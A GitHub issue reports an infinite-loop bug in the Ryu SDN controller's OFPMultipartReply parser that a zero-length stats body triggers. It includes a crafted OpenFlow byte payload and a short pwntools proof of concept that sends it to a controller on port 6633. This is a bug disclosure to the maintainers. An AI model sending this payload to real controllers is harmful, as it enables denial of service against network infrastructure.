ryu icon indicating copy to clipboard operation
ryu copied to clipboard

Suggestion for OFPMultipartReply parser will cause an infinite loop

Open ErodedElk opened this issue 1 year ago • 1 comments

in /ryu/ofproto/ofproto_v1_3_parser.py about line=3943

class OFPMultipartReply(MsgBase):
    _STATS_MSG_TYPES = {}
    ....
    @classmethod
    def parser(cls, datapath, version, msg_type, msg_len, xid, buf):
    ....
            while offset < msg_len:
                b = stats_type_cls.cls_stats_body_cls.parser(msg.buf, offset)
                body.append(b)
                offset += b.length if hasattr(b, 'length') else b.len
    ....

If b.length =0,the offset will no longer change and the parsing will fall into an infinite loop.

payload:

payload="\x04\x13\x01\x30\x7f\xf9\xb1\x6d\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x06\x42\x2c\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\x00\x01\x00\x20\x80\x00\x00\x04\x00\x00\x00\x02\x80\x00\x08\x06\xd2\xfc\x3a\xb8\x53\xf8\x80\x00\x06\x06\xce\x8f\xb2\x46\xcb\x5b\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x01\xff\xe5\x00\x00\x00\x00\x00\x00\x00\x68\x00\x00\x00\x00\x00\x03\x06\x05\x23\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x62\x00\x01\x00\x20\x80\x00\x00\x04\x00\x00\x00\x01\x80\x00\x08\x06\xce\x8f\xb2\x46\xcb\x5b\x80\x00\x06\x06\xd2\xfc\x3a\xb8\x53\xf8\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x02\xff\xe5\x00\x00\x00\x00\x00\x00\x00\x50\x00\x00\x00\x00\x00\x05\x38\x81\x55\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x04\x40\x00\x01\x00\x04\x00\x00\x00\x00\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00"

poc:

from pwn import *
p=remote("0.0.0.0",6633)
payload="\x04\x13\x01\x30\x7f\xf9\xb1\x6d\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x06\x42\x2c\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\x00\x01\x00\x20\x80\x00\x00\x04\x00\x00\x00\x02\x80\x00\x08\x06\xd2\xfc\x3a\xb8\x53\xf8\x80\x00\x06\x06\xce\x8f\xb2\x46\xcb\x5b\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x01\xff\xe5\x00\x00\x00\x00\x00\x00\x00\x68\x00\x00\x00\x00\x00\x03\x06\x05\x23\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x62\x00\x01\x00\x20\x80\x00\x00\x04\x00\x00\x00\x01\x80\x00\x08\x06\xce\x8f\xb2\x46\xcb\x5b\x80\x00\x06\x06\xd2\xfc\x3a\xb8\x53\xf8\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x02\xff\xe5\x00\x00\x00\x00\x00\x00\x00\x50\x00\x00\x00\x00\x00\x05\x38\x81\x55\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x04\x40\x00\x01\x00\x04\x00\x00\x00\x00\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00"
p.send(payload)
p.interactive()

This POC uses OFPFlowStatsReply as an example, in which the length of Flow Stats is tampered with to 0, but the same problem will also occur in all messages that inherit OFPMultipartReply, such as OFPAggregateStatsReply, OFPTableStatsRequest, etc.

ErodedElk avatar Mar 25 '24 15:03 ErodedElk

This problem also occurs with the following code: /ryu/ofproto/ofproto_v1_3_parser.py about line=3943 /ryu/ofproto/ofproto_v1_4_parser.py about line=1657 /ryu/ofproto/ofproto_v1_5_parser.py about line=1893

ErodedElk avatar Mar 25 '24 15:03 ErodedElk